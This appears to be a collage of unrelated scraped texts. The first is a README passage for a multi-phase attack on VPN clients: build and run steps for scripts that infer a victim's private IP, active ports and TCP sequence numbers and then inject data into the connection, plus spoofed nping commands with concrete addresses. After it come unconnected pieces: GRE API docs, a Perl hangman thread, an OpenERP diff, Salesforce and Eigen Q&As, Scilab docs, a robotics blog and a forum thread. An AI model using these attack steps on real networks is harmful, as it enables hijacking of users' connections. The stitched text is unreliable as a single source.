* Reverse path filtering disabled on the VPN client machine
* Attack router acting as the local network gateway for the victim (VPN client) machine
#### Running the Full Attack Script
* Rebuild all the attack scripts: `./rebuild_all.sh`
* `cd full_attack`
* Change `attack.sh` vars to appropriate values
* `sh attack.sh <remote_ip>`
***Note:*** `remote_ip` specifies the IP address of the HTTP site.
#### Testing Indivual attack phases
##### Phase 1 - Infer victim's private address
* `cd first_phase`
* `python3 send.py <victim_public_ip> <private_ip_range>`
***Note:*** `private_ip_range` specifies a `/24` network such as `10.7.7.0`.
##### Phase 2 - Infer the port being used to talk to some remote address
* `cd sec_phase`
* Edit `send.cpp` to use the correct MAC addresses
* `g++ send.cpp -o send -ltins`
* `./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip>`
***Note:*** `<remote_ip>` is the address we wanna check if the client is connected to and the `<remote_port>` is almost always 80 or 443. The `<victim_wlan_ip>` is the public address of the victim and `<victim_priv_ip>` was found in phase 1. If the scripts not sniffing any challenge acks, then edit the `send.cpp` file to uncomment the `cout` line that prints out the remainder to check if the size of the encrypted packets has slightly changed on this system.
##### Phase 3 - Infer exact sequence number and in-window ack
* `cd third_phase`
* Edit `send.cpp` to use the correct MAC addresses
* `g++ send.cpp -o send -ltins`
* `./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip> <victim_port>`
***Note:*** `<victim_port>` was found in phase 2. This script currently just injects a hardcoded string into the TCP connnection but could be easily modified.
BIN
pcaps/client-side-caps/nping-examples/.setup.txt.swp
BIN
pcaps/client-side-caps/nping-examples/attacker/phase2_nping_attacker.pcap
BIN
pcaps/client-side-caps/nping-examples/attacker/phase3_nping_attacker.pcap
28
pcaps/client-side-caps/nping-examples/setup.txt
@ -0,0 +1,28 @@
Nping pcap commands during each phase:
On attacker machine: `sudo tcpdump -i wlp1s0 -nnvvS not src port 22 and not dst port 22 -w wash_attacker.pcap`
On victim macine: `sudo tcpdump -i any -nnvvS not src port 22 and not dst port 22 -w vic_any_capture_wash.pcap`
Attacker commands
Phase 2: `sudo nping -e wlp1s0 --dest-mac 08:00:27:1a:08:ba --dest-ip 10.7.7.8 --source-ip 172.217.12.14 -g 80 --tcp --flags SA -p 40402`
Phase 3: `sudo nping -e wlp1s0 --dest-mac 08:00:27:1a:08:ba --dest-ip 10.7.7.8 --source-ip 172.217.12.14 -g 80 --tcp --flags R -p 40404 --seq 4253820601`
Addresses in netcat example:
Phase 2 pcap: --> (netcat 172.217.12.14 8
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| 0.976757 |
gre.screen attach layer
gre.screen_attach_layer(
layer_name,
[zindex]
)
gre.screen_attach_layer(
layer_name,
screen_list,
[zindex]
)
Attaches a layer to a screen dynamically creating a new layer instance. When used without a screen list this will attach the specified layer to all screens in the application. When used with a list of screens it will bind the specified layer to all of the screens named in the screen list.
If zindex is included, then the layer will be inserted at the specified zindex (0 = backmost). If zindex is not set, then the layer will be inserted at the top of the existing layer stack for the screen (equivalent to specifying a value greater than all of the layers in the project).
If the layer is already present on a screen, then that layers position in the screen z-order will be adjusted to the specified value. If the layer name used is a specific layer instance (ie screen_name.layer_name) then all of the properties of that layer instance (x, y, alpha, hidden) will also be copied to the new layer instance.
Parameters: layer_name The name of the layer to attach to screens screen_list A lua table containing the list of screen names to add the layer to zindex The z-order (0 = backmost) to add the layer to the screen at.
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__label__pos
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PerlMonks
Hangman - Hanging with Friends
by onelesd (Pilgrim)
on Sep 23, 2011 at 23:47 UTC ( #927629=CUFP: print w/ replies, xml ) Need Help??
Some of you may play this game on the iPhone or iPad. It's really just Hangman with some twists.
After playing this game for a while, and seeing people offer up "kolhozes" and other obscure words, which in all likelihood are coming from an online word generator, I decided to fight back. Is this cheating? Probably, but since I wrote all the code myself I don't feel bad :)
I'm almost certain this exists somewhere else, perhaps even an online version, but here's what I came up with. The script uses the standard Scrabble points and letter distributions, which are slightly different than what Zynga uses, but I didn't have access to that information.
The 1st argument is the word pattern to solve, and the 2nd optional argument is any letters which you've already guessed that were not in the word.
$ ./hanging-with-friends.pl _o_s wdr Best letters to guess next: B T P G N M Y H E L C F J A K I U V Top 25 words are: FOYS HOYS KOBS KOPS JOES JOTS YOKS JOGS JOBS JOYS EONS IONS LOTS NOES NOUS TOES TONS TOTS GOAS GOES LOGS NOGS TOGS BOAS BOTS
#!/usr/bin/perl use strict ; use warnings ; our $wildcard = '_' ; our $words_limit = 25 ; # display the lowest scoring words, up to this + many our %best_letters = map { $_ => 0 } ('a' .. 'z') ; our @dictionary = sort <DATA> ; chomp @dictionary ; # set up dictionar +y # Scrabble distribution our %letter_distribution = qw( a 9 b 2 c 2 d 4 e 12 f 2 g 3 h 2 i 9 j 1 k 1 l 4 m 2 n 6 o 8 p 2 q 1 r 6 s 4 t 6 u 4 v 2 w 2 x 1 y 2 z 1 ) ; # Scrabble points our %letter_points = qw( a 1 b 3 c 3 d 2 e 1 f 4 g 2 h 4 i 1 j 8 k 5 l 1 m 3 n 1 o 1 p 3 q 10 r 1 s 1 t 1 u 1 v 4 w 4 x 8 y 4 z 10 ) ; # handle arguments our $word_pattern ; $word_pattern = $ARGV[0] or die "No word pattern given. Use $wildcard +for unknown letters.\n" ; $word_pattern = lc($word_pattern) ; chomp $word_pattern ; die "Invalid word pattern\n" unless ($word_pattern =~ /^[_a-z]+$/) ; our %negative_letters = map { $_ => 1 } split(//, $ARGV[1]) if (define +d $ARGV[1]) ; # search for matching words our @possible_words = sort { score_word($a) cmp score_word($b) } grep { length($_) == length($word_pattern) && pattern_word($word_pat +tern, $_) } @dictionary ; # determine letter counts (max increment 1 for a letter in a given wor +d) foreach (@possible_words) { ++$best_letters{$_} foreach (keys %{{ map { $_ => 1 } split(//, $_) +}}) ; } # display best letters to guess in order of decreasing likelihood of m +atching print "Best letters to guess next:\n" ; print uc("$_ ") foreach (grep { $best_letters{$_} > 0 && index($word_pattern, $_) < +0 } sort { $best_letters{$b} <=> $best_letters{$a} } keys %best +_letters) ; print "\n" ; # display possible words with in order of increasing word score (words + with more common letters first) print "Top $words_limit words are:\n", uc(join("\n", splice(@possible_ +words, 0, $words_limit))), "\n" ; sub score_word { my ($word) = @_ ; my $points = 0 ; my @letters = split //, $word ; $points += $letter_points{$_} foreach @letters ; return $points ; } sub pattern_word { my ($pattern, $word) = @_ ; my %deny_letters = map { $_ => 1 } split(//, $pattern) ; my @p = split //, $pattern ; my @w = split //, $word ; return 0 if (scalar(@p) != scalar(@w)) ; foreach (@p) { my $word_letter = shift @w ; return 0 if ($_ ne $word_letter && $_ ne $wildcard) ; return 0 if ($_ ne $word_letter && defined $deny_letters{$word_let +ter}) ; return 0 if (defined $negative_letters{$word_letter}) ; } return 1 ; } # place your wordlist here. Zynga uses (in addition to some unpublishe +d words of it's own, like "bling" and "jello"): http://code.google.com/p/dotnetperls-controls/downloads/detail?name=en +able1.txt __DATA__ ...
Comment on Hangman - Hanging with Friends
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Re: Hangman - Hanging with Friends
by jwkrahn (Monsignor) on Sep 24, 2011 at 10:55 UTC
# Scrabble distribution our %letter_distribution = qw( a 9 b 2 c 2 d 4 e 12 f 2 g 3 h 2 i 9 j 1 k 1 l 4 m 2 n 6 o 8 p 2 q 1 r 6 s 4 t 6 u 4 v 2 w 2 x 1 y 2 z 1 ) ;
You never use this variable anywhere so why is it here?
sort { score_word($a) cmp score_word($b) }
score_word() returns a numeric value so that should be:
sort { score_word($a) <=> score_word($b) }
And if you used a Schwartzian Transform you wouldn't have as much overhead on all those subroutine calls.
# search for matching words my @possible_words = map $_->[ 1 ], sort { $a->[ 0 ] <=> $b->[ 0 ] } map length() == length( $word_pattern ) && pattern_word( $word_pat +tern, $_ ) ? [ score_word( $_ ), $_ ] : (), @dictionary;
sub score_word { my ($word) = @_ ; my $points = 0 ; my @letters = split //, $word ; $points += $letter_points{$_} foreach @letters ; return $points ; }
You could use List::Util::sum and reduce that to:
use List::Util qw/ sum /; sub score_word { sum( @letter_points{ split //, $_[ 0 ] } ) }
my %deny_letters = map { $_ => 1 } split(//, $pattern) ; my @p = split //, $pattern ;
Why split the same thing twice:
my @p = split //, $pattern ; my %deny_letters = map { $_ => 1 } @p ;
You never use this variable anywhere so why is it here?
I had used it in a prior version as part of the "best letters" algorithm. In this version the best letters are selected based on how many possible words a letter is part of. I think the letter distribution should also be part of the algorithm but I haven't figured a good way to balance those two points yet.
Thank you for your other suggestions!
Reaped: Re: Hangman - Hanging with Friends
by NodeReaper (Curate) on Sep 26, 2011 at 13:21 UTC
Re: Hangman - Hanging with Friends
by cavac (Chaplain) on Oct 03, 2011 at 18:32 UTC
Spiffy idea!
You could turn that into a module and upload it as something like Games::GuessWord::Solver. Could come in handy on IRC and WWW.
As for better guessing, you could also add previously unknown words to your dictionary (automatic word learning) and/or use Markov chains and/or even some basic AI module (Baysean statistics, Neural net, ...).
Don't use '#ff0000':
use Acme::AutoColor; my $redcolor = RED();
All colors subject to change without notice.
I made the effort to make this work...
I hope someone uses it :)
#!/usr/bin/perl print "Content-type:text/html\n\n"; print "172819 randomly generated words and what they are worth in Scra +bble", "\n"; print qq~<BR>~; print qq~<BR>~; print qq~<BR>~; ## @dictionary named biglog.txt get here... http://code.google.com/p/d +otnetperls-controls/downloads/detail?name=enable1.txt ##open(DATA,"<biglog.txt"); open (MYFILE, 'biglog.txt'); # Internal image numbers for verificati +on to erase from acqchanger.pl my $allwords = do { local $/; <MYFILE> }; #### the / may need to be \ + when using binmode and add ":raw" into <MYFILE> close (MYFILE); @dictionary = split(" ", $allwords); my $wildcard = '_'; my $words_limit = 25; # display the lowest scoring words, up to this m +any my %best_letters = map { $_ => 0 } ('a' .. 'z'); print "English alphabet best letters= ", %best_letters, "\n"; print qq~<BR>~; #my @dictionary = sort <DATA>; chomp @dictionary; # set up dictionary ##print @dictionary, "\n"; # Scrabble distribution my %letter_distribution = qw( a 9 b 2 c 2 d 4 e 12 f 2 g 3 h 2 i 9 j 1 k 1 l 4 m 2 n 6 o 8 p 2 q 1 r 6 s 4 t 6 u 4 v 2 w 2 x 1 y 2 z 1 ); print "Scrabble letter tiles in a set...", %letter_distribution, "\n"; print qq~<BR>~; # Scrabble points ##hash of Key => value pairs "a" => "1", "b" => "3", my %letter_points = ( "a" => "1", "b" => "3", "c" => "3", "d" => "2", +"e" => "1", "f" => "4", "g" => "2", "h" => "4", "i" => "1", "j" => "8 +", "k" => "5", "l" => "1", "m" => "3", "n" => "1", "o" => "1", "p" => + "3", "q" => "10", "r" => "1", "s" => "1", "t" => "1", "u" => "1", "v +" => "4", "w" => "4", "x" => "8", "y" => "4", "z" => "10" ); my @letter_points = %letter_points; ##my %letter_points = ( "a", 1, "b", 3, "c", 3, "d", 2, "e", 1, "f +", 4, "g", 2, "h", 4, "i", 1, "j", 8, "k", 5, "l", 1, "m", 3, + "n", 1, "o", 1, "p", 3, "q", 10, "r", 1, "s", 1, "t", 1, "u", + 1, "v", 4, "w", 4, "x", 8, "y", 4, "z", 10 ); print " %letter_points=", " From ", $letter_points{a}, " to ", $letter +_points{q}, " depending on Scrabble rules.", "\n"; ## print value of +Key g should be 2 print qq~<BR>~; # handle arguments my $wordchoice = int(rand(172819)); ## 0-172819 my $word_pattern; $word_pattern = $dictionary[$wordchoice]; ## was $ARGV[0] word to sol +ve $word_pattern = lc($word_pattern); chomp $word_pattern; ## Use $wildcard for unknown letters if ($word_pattern eq "") { $word_pattern = $wildcard; } die "Invalid word pattern\n" unless ($word_pattern =~ /^[_a-z]+$/); print " ,Dictionary word choice=", $wordchoice, "=", $word_pattern, "\ +n"; print qq~<BR>~; my @best_letters = ("B","T","P","G","N","M","Y","H","E","L","C","F","J +","A","K","I","U","V"); my %best_letters = @letter_points; print " ,BEST letters as a rule=", @best_letters, "\n"; print qq~<BR>~; my $let = int(rand(17)); ## 0-17 my $negative_letters; ## letters guessed that were not in word $negative_letters = $best_letters[$let]; print " ", $let, " Computer choose a letter=", $negative_letters, "\n" +; print qq~<BR>~; # search for matching words ##my $a = ""; ##my $b = ""; ##my @possible_words = sort { score_word($a) <=> score_word($b) } grep { length($_) == length($word_pattern) && pattern_word($word_patte +rn, $_) } @dictionary; ##print " possible words=", @possible_words, " ", $points, " ", $_, "\ +n"; ##print qq~<BR>~; ##print " a and b ", $a, " ", $b, "\n"; # determine letter counts (max increment 1 for a letter in a given wor +d) foreach (@best_letters) { $best_letters{$_} foreach (keys %{{ map { $_ => 1 } split(", ", $_) }} +); ##print " best letters=", $_, "\n"; } # display best letters to guess in order of decreasing likelihood of m +atching print " WORST letters to guess next:", "\n"; print uc("$_") foreach (grep { $best_letters{$_} > 0 && index($word_pattern, $_) < 0 +} sort { $best_letters{$b} cmp $best_letters{$a} } keys %best_letters); ##print "\n"; print qq~<BR>~; my $points = 0; my @l = split ("", $word_pattern); foreach (@l) { ##print $_, "\n"; print uc("$_"), "=", $letter_points{$_}, " ", "\n"; $points = $points + $letter_points{$_}; } print qq~<BR>~; print "Word=", uc("$word_pattern"), " and in points=", $points, "\n"; # display possible words in order of increasing word score (words with + more common letters first) ##print "Top $words_limit words are:", "\n"; ##print uc(join("\n", splice(@dictionary, 0, $words_limit))), "\n"; print qq~<BR>~; ##sub score_word { ##my $word = $word_pattern; ##my $points = 0; ##my @letter_points = split (", ", $word); ##$points += $letter_points{$_} foreach @letter_points; ##return $points; ##} sub pattern_word { my ($pattern, $word) = @_; my %deny_letters = map { $_ => 1 } split("", $pattern); my @p = split ("", $pattern); my @w = split ("", $word); return 0 if (scalar(@p) != scalar(@w)); foreach (@p) { my $word_letter = shift @w; return 0 if ($_ ne $word_letter && $_ ne $wildcard); return 0 if ($_ ne $word_letter && defined $deny_letters{$word_let +ter}); return 0 if (defined $negative_letters{$word_letter}); } return 1; }
Oh yes, and it is running here now...
http://boughtupcom.freeservers.com/cgi/hanging-with-friends.pl
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__label__pos
| 0.977496 |
=== modified file 'account/account_invoice_view.xml' --- account/account_invoice_view.xml 2013-09-20 09:50:26 +0000 +++ account/account_invoice_view.xml 2013-10-28 16:55:49 +0000 @@ -346,7 +346,7 @@ - + ). +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . +# +############################################################################## +from . import test_multi_company + +checks = [ + test_multi_company, +] +# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4: === added file 'hr_timesheet_invoice/tests/test_multi_company.py' --- hr_timesheet_invoice/tests/test_multi_company.py 1970-01-01 00:00:00 +0000 +++ hr_timesheet_invoice/tests/test_multi_company.py 2013-10-28 16:55:49 +0000 @@ -0,0 +1,114 @@ +# -*- coding: utf-8 -*- +############################################################################## +# +# OpenERP, Open Source Management Solution +# Copyright (C) 2004-2010 Tiny SPRL (). +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . +# +############################################################################## + +from openerp.tests import common + + +class test_multi_company(common.TransactionCase): + + QTY = 5.0 + PRICE = 75 + + def prepare(self): + # super(test_multi_company, self).setUp() + + self.company_obj = self.registry('res.company') + self.analytic_account_obj = self.registry('account.analytic.account') + self.analytic_line_obj = self.registry('account.analytic.line') + self.invoice_obj = self.registry('account.invoice') + self.product_obj = self.registry('product.product') + + # load main company + self.company_a = self.browse_ref('base.main_company') + # create an analytic account + self.aa_id = self.analytic_account_obj.create(self.cr, self.uid, { + 'name': 'Project', + 'company_id': self.company_a.id, + 'partner_id': self.ref('base.res_partner_2'), + 'pricelist_id': self.ref('product.list0'), + }) + # set a known price on product + self.product_obj.write(self.cr, self.uid, self.ref('product.product_product_consultant'), { + 'list_price': self.PRICE, + }) + + def create_invoice(self): + # create an analytic line to invoice + line_id = self.analytic_line_obj.create(self.cr, self.uid, { + 'account_id': self.aa_id, + 'amount': -1.0, + 'general_account_id': self.ref('account.a_expense'), + 'journal_id': self.ref('hr_timesheet.analytic_journal'), + 'name': 'some work', + 'product_id': self.ref('product.product_product_consultant'), + 'product_uom_id': self.ref('product.product_uom_hour'), + 'to_invoice': self.ref('hr_timesheet_invoice.timesheet_invoice_factor2'), # 50% + 'unit_amount': self.QTY, + }) + # XXX too strong coupling with UI? + wizard_obj = self.registry('hr.timesheet.invoice.create') + wizard_id = wizard_obj.create(self.cr, self.uid, { + 'date': True, + 'name': True, + 'price': True, + 'time': True, + }, context={'active_ids': [line_id]}) + act_win = wizard_obj.do_create(self.cr, self.uid, [wizard_id], context={'active_ids': [line_id]}) + invoice_ids = self.invoice_obj.search(self.cr, self.uid, act_win['domain']) + invoices = self.invoice_obj.browse(self.cr, self.uid, invoice_ids) + self.assertEquals(1, len(invoices)) + return invoices[0] + + def test_00(self): + """ invoice task work basic test """ + self.prepare() + invoice = self.create_invoice() + self.assertEquals(round(self.QTY * self.PRICE * 0.5, 2), invoice.amount_untaxed) + + def test_01(self): + """ invoice task work for analytic account of other company """ + self.prepare() + # create a company B with its own account chart + self.company_b_id = self.company_obj.create(self.cr, self.uid, {'name': 'Company B'}) + self.company_b = self.company_obj.browse(self.cr, self.uid, self.company_b_id) + mc_wizard = self.registry('wizard.multi.charts.accounts') + mc_wizard_id = mc_wizard.create(self.cr, self.uid, { + 'company_id': self.company_b_id, + 'chart_template_id': self.ref('account.conf_chart0'), + 'code_digits': 2, + 'sale_tax': self.ref('account.itaxs'), + 'purchase_tax': self.ref('account.otaxs'), + # 'complete_tax_set': config.complete_tax_set, + 'currency_id': self.company_b.currency_id.id, + }) + mc_wizard.execute(self.cr, self.uid, [mc_wizard_id]) + # set our analytic account on company B + self.analytic_account_obj.write(self.cr, self.uid, [self.aa_id], { + 'company_id': self.company_b_id, + }) + invoice = self.create_invoice() + self.assertEquals(self.company_b_id, invoice.company_id.id, "invoice created for wrong company") + self.assertEquals(self.company_b_id, invoice.journal_id.company_id.id, "invoice created with journal of wrong company") + self.assertEquals(self.company_b_id, invoice.invoice_line[0].account_id.company_id.id, "invoice line created with account of wrong company") + self.assertEquals(self.company_b_id, invoice.account_id.company_id.id, "invoice line created with partner account of wrong company") + # self.assertEquals(self.company_b_id, invoice.fiscal_position.company_id.id, "invoice line created with fiscal position of wrong company") + +# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
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0
I'm trying to use fflib_SObjectDomain.getTriggerEvent(Accounts.class).disableAfterUpdate(); on my Account Domain Class to stop after updates operations to be fired from after insert operations for the account object.
The reason is that some of the methods are executing the same logic on afterInsert and afterUpdate for that domain class. I just want to avoid re-executing the same logic when it is not necessary. For this reason I'm using fflib_SObjectDomain.getTriggerEvent(Accounts.class).disableAfterUpdate(); as you can see below:
/**
* After Insert context operations
*
**/
public override void onAfterInsert() {
List<Account> newList = (List<Account>) Records;
Map<Id, Account> oldMap = (Map<Id, Account>) ExistingRecords;
List<Id> accountIds = new List<Id>();
for (Account account : (List<Account>) Records) {
accountIds.add(account.Id);
}
fflib_SObjectDomain.getTriggerEvent(Accounts.class).disableAfterUpdate();
AccountService.sumChildAccountFleetFields(newList, oldMap);
AccountService.signUpForWeeklyDigestAndCampaignFor(newList);
}
/**
* After Update context operations
*
**/
public override void onAfterUpdate(Map<Id, SObject> existingRecords) {
List<Account> newList = (List<Account>) Records;
Map<Id, Account> oldMap = (Map<Id, Account>) existingRecords;
AccountService.sumChildAccountFleetFields(newList, oldMap);
AccountService.signUpForWeeklyDigestAndCampaignFor(newList);
AccountService.listUnsubscribe(newList);
validatePersonEmail(Records);
uow.commitWork();
Now, the issue is that when I try to execute a test method to update a number of accounts, the onAfterUpdate method never gets called.
I did some tests on the UI to fired a simple email validation method which it is part of the onAfterUpdate method:
private static void validatePersonEmail(List<SObject> accountsList) {
for (Account account : (List<Account>) accountsList) {
if (String.isBlank(account.PersonEmail)) {
account.addError('You must provide an Email for this account');
}
}
}
That works, so on a real scenario the after update is working.... but how can I test this? I tried several things but the tests never run over the Account Domain class onAfterUpdate method. So any tips on this would be great...
4
• 1
There's no method to re-enable it?
– Adrian Larson
May 12, 2020 at 13:12
• Yes, there is the enableAfterUpdate, but then it fires when I do insert operations :( which it is what I don't want.. May 12, 2020 at 13:13
• You need to bookend the insert operation. Disable > Insert > Enable > Update.
– Adrian Larson
May 12, 2020 at 13:15
• Right, did that on the Test class and now it runs over the onAfterUpdate but it is throwing an error : INVALID_FIELD_FOR_INSERT_UPDATE, cannot specify Id in an insert call: [Id] .... thanks.. if you post an answer I will select it as the correct one.. May 12, 2020 at 13:48
1 Answer 1
2
When you bypass trigger logic, you need to bookend your disablement. Typical flow is as below:
@IsTest static void myTest()
{
// disable trigger
// insert data
// enable trigger
Test.startTest();
// update data
Test.stopTest();
// assert against behavior
}
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Справка Scilab >> Polynomials > sfact
sfact
discrete time spectral factorization
Syntax
F=sfact(P)
Arguments
P
real polynomial matrix
Description
Finds F, a spectral factor of P. P is a polynomial matrix such that each root of P has a mirror image w.r.t the unit circle. Problem is singular if a root is on the unit circle.
sfact(P) returns a polynomial matrix F(z) which is antistable and such that
P = F(z)* F(1/z) *z^n
For scalar polynomials a specific algorithm is implemented. Algorithms are adapted from Kucera's book.
Examples
// Simple polynomial example
p = (%z -1/2) * (2 - %z)
w = sfact(p);
w*horner(w, 1/%z).num
// matrix example
z = %z;
F1 = [z-1/2, z+1/2, z^2+2; 1, z, -z; z^3+2*z, z, 1/2-z];
P = F1*gtild(F1,'d'); // P is symmetric
F = sfact(P)
roots(det(P))
roots(det(gtild(F,'d'))) //The stable roots
roots(det(F)) //The antistable roots
clean(P-F*gtild(F,'d'))
// Example of continuous time use
s = %s;
p = -3*(s+(1+%i))*(s+(1-%i))*(s+0.5)*(s-0.5)*(s-(1+%i))*(s-(1-%i));
p = real(p);
// p(s) = polynomial in s^2 , looks for stable f such that p=f(s)*f(-s)
w = horner(p,(1-s)/(1+s)); // bilinear transform w=p((1-s)/(1+s))
wn = w.num; // take the numerator
fn = sfact(wn);
f = horner(fn,(1-s)/(s+1)).num; // Factor and back transform
f = f/sqrt(horner(f*gtild(f,'c'),0));
f = f*sqrt(horner(p,0)); // normalization
roots(f) // f is stable
clean(f*gtild(f,'c')-p) // f(s)*f(-s) is p(s)
See also
• gtild — tilde operation
• fspecg — stable factorization of continuous time dynamical systems
Scilab Enterprises
Copyright (c) 2011-2017 (Scilab Enterprises)
Copyright (c) 1989-2012 (INRIA)
Copyright (c) 1989-2007 (ENPC)
with contributors
Last updated:
Thu Feb 14 15:04:58 CET 2019
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Kid’s Robotics Class: Help Your Kids Learn Basic Programming
If your kids are interested in robotics and want to learn how to program their robots, you might be wondering if learning programming is worth it.
Robotics programming is a process of creating a sequence of commands that allows a robot to carry out specific tasks. This can be used for things like moving a product in a warehouse or even controlling a toy car. It can be quite an involved process, but with some help from your kids, they can learn how to do it.
Programming is a great way to teach kids about how machines work, for that online robotics classes for kids can be helpful for them and can also help them learn basic computer skills. In fact, programming can be a great way to get kids interested in technology. Here are some reasons why you should encourage your kids to learn to program robots:
Image Source:- Google
• It teaches kids how computers work.
• It teaches kids how to problem solve.
• It teaches kids how to code.
• It can help kids develop creativity.
• It can help kids learn about technology.
Robots are taking over the world. No matter what you may think, there is a good chance your child is already familiar with robots through technology. Kids love playing with toys that move and interact, so it's no surprise that robotics is becoming more and more popular. Robotics can be used to teach kids about a variety of subjects, including math, engineering, and programming.
If you're not familiar with programming, don't worry! It's a simple skill that can be learned in just a few hours. In fact, many kids start programming at an early age by creating games and apps on their smartphones or computers.
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GeorgT GeorgT - 3 months ago 136
C++ Question
Compiling Eigen library with nvcc (CUDA)
I tried to compile following program (main.cu) with the nvcc (CUDA 5.0 RC):
#include <Eigen/Core>
#include <iostream>
int main( int argc, char** argv )
{
std::cout << "Pure CUDA" << std::endl;
}
Unfortunately, I get a bunch of warnings and errors I can only explain using nvcc instead of the Microsoft compile.
Is this assumption right?
Is there any way to compile Eigen with nvcc? (I actually don´t want to transfer Eigen matrices to the GPU, just access their members)?
If it should not work to compile Eigen with nvcc, is there a nice guide/tutorial about clever ways to seperate host and device code?
I am using CUDA 5.0 RC, Visual Studio 2008, Eigen 3.0.5. To compile the .cu file I used both, the rules file included in CUDA, aswell as the custom build step produced by CMake. Using the CUDA rule file, I targeted the build at compute capability 3.0.
Thanks for your advice.
PS: If I compile the same code with the host compiler it works perfectly.
Tom Tom
Answer
NVCC invokes the normal host compiler but not before it has done some preprocessing, so it's likely that NVCC is struggling to parse the Eigen code correctly (especially if it uses C++11 features, but that's unlikely since you say VS2008 works).
I usually advise separating the device code and wrappers into the .cu files and leaving the rest of your application in normal .c/.cpp files to be handled by the host compiler directly. See this answer for some tips on getting this set up with VS2008.
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AMD Launches Robot Cache, a video-game marketplace to buy PC games
Discussion in 'Frontpage news' started by Hilbert Hagedoorn, May 13, 2020.
1. Hilbert Hagedoorn
Hilbert Hagedoorn Don Vito Corleone Staff Member
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AMD | NVIDIA
JonasBeckman likes this.
2. vestibule
vestibule Master Guru
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Radeon RX6600XT
3. sverek
sverek Ancient Guru
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6,073
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GPU:
NOVIDIA -0.5GB
Doesn't sound like a good deal for publishers.
Interesting idea though, but I guess AMD will optimize mining algorithm to benefit AMD CPU/GPU, so they can sell more hardware for mining. Seems shady to me.
4. asturur
asturur Maha Guru
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1,252
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443
GPU:
Geforce Gtx 1080TI
That is not an issue, for me they can also lock mining to their cpu/gpu, is their platform anyway.
My question is, where is going my cpu power, to do what?
They are not giving you games for free because you mine a coin that is just to buy/sell games.
Solfaur and Duke Nil like this.
5. Mesab67
Mesab67 Master Guru
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244
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85
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Some transparency on exact mining use would be wise.
Duke Nil likes this.
6. moo100times
moo100times Master Guru
Messages:
349
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148
GPU:
295x2 @ stock
Personally I would prefer a steam key resale market that is less corrupt than G2A.
Mining may be an interesting concept, but more worried that power costs will exceed game value. Might be worth simply buying crypto directly if AMD is going to enter the mining market and drive prices up?
7. ne0x
ne0x Member
Messages:
15
Likes Received:
2
GPU:
GTX 1080
Some research will net you some insights https://www.robotcache.com/blog?post=3687
Assuming they ain't lying ( right?) Also at the same time, there is still little info on what it is anyways.
Also interesting from the policy:
"
MININGPOOL REWARDS
Any rewards earned by you when you access and use our Mining Pool (including any Boosts) will be paid out to you in the equivalent amount of IRON, minus a fifteen percent (15%) Mining Pool fee which will be deducted from your IRON payment. We will deposit your IRON payments directly into your RC Wallet. Please see our IRON Policy for more information about IRON and RC Wallets."
8. Loobyluggs
Loobyluggs Ancient Guru
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RTX 3060 12GB
If they give out the full source code for the entire operation and allow complete and total transparency, then, I will give my judgement.
Until then, I got more than enough questions with no answers, from enough companies; that have terms and conditions that do not allow me to ask questions.
user1, GSDragoon and ne0x like this.
9. jbscotchman
jbscotchman Ancient Guru
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If you just use Steam all the bold letters aren't necessary. :p
Solfaur and DocStr4ngelove like this.
10. DocStr4ngelove
DocStr4ngelove Maha Guru
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904
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MSI 3080TI Ventus3X
How about just buying the singleplayer campaign of a game like Battlefield V and save the money for the MP part (which is full of bugs and cheaters anyway) ?
Now that would be something.
11. Loobyluggs
Loobyluggs Ancient Guru
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EXACTLY !
Solfaur likes this.
12. jbscotchman
jbscotchman Ancient Guru
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I KNOW RIGHT!
Solfaur likes this.
13. schmidtbag
schmidtbag Ancient Guru
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HIS R9 290
If you're worried about the mining then don't do it... You aren't obligated or forced to do so.
I personally see this service dying off in a couple years. AMD has commitment problems when it comes to software that isn't revolutionary.
GSDragoon likes this.
14. Perjantai
Perjantai Member Guru
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150
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20
GPU:
Asus TUF RTX3080
Only thing that bugs me on this is the "exchange earn IRON to buy free games". If you mine with your machine and pay for electricity it isn't free..
15. sykozis
sykozis Ancient Guru
Messages:
22,265
Likes Received:
1,346
GPU:
MSI RX5700...
Exactly what is shady? AMD doesn't own Robot Cache. AMD is simply a tech partner. The mining algorithms aren't controlled by AMD. The algorithms are specific to the cryptocurrency you mine. But yes, AMD has worked out some marketing deal in the hopes of generating more sales. This "IRON" has no real value and outside of Robot Cache is completely useless and worthless.
This "IRON" is nothing but a marketplace currency. It's not a cryptocurrency like Bitcoin. It looks like, should you choose to "opt-in" to mine for Robot Cache, you'll join a "mining pool" with other miners. You'll be mining various cryptocurrency, which Robot Cache will keep. Robot Cache will then pay you in "IRON", their marketplace currency that has no actual value, for mining the cryptocurrency for them. Basically, they stand a chance of getting rich, while incurring minimal long-term cost. Instead, users will incur all of the cost of Robot Cache's potential financial gains.... I can't find an explanation of how they determine how much "IRON" to give you....but I'd assume it's not based off the value of your mining contribution.
AMD has commitment issues in general.....
16. fantaskarsef
fantaskarsef Ancient Guru
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13,536
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2080Ti @h2o
Mining... yeah right. No thanks, if I wanted this I'd have done it when it brought real money, not dirt cheep digital licenses to play games.
17. itpro
itpro Maha Guru
Messages:
1,362
Likes Received:
731
GPU:
AMD Testing
Robot Cache is a revolutionary storefront built upon 3 pillars:
1) Allow gamers to re-sell their digital game & get 25% back
2) Blockchain allowed us to be more efficient & give higher % of sales to devs: 95 vs. 70
3) Opt-in mining feature allows gamers to make money every month https://t.co/0mVOYuHtPP
18. sykozis
sykozis Ancient Guru
Messages:
22,265
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1,346
GPU:
MSI RX5700...
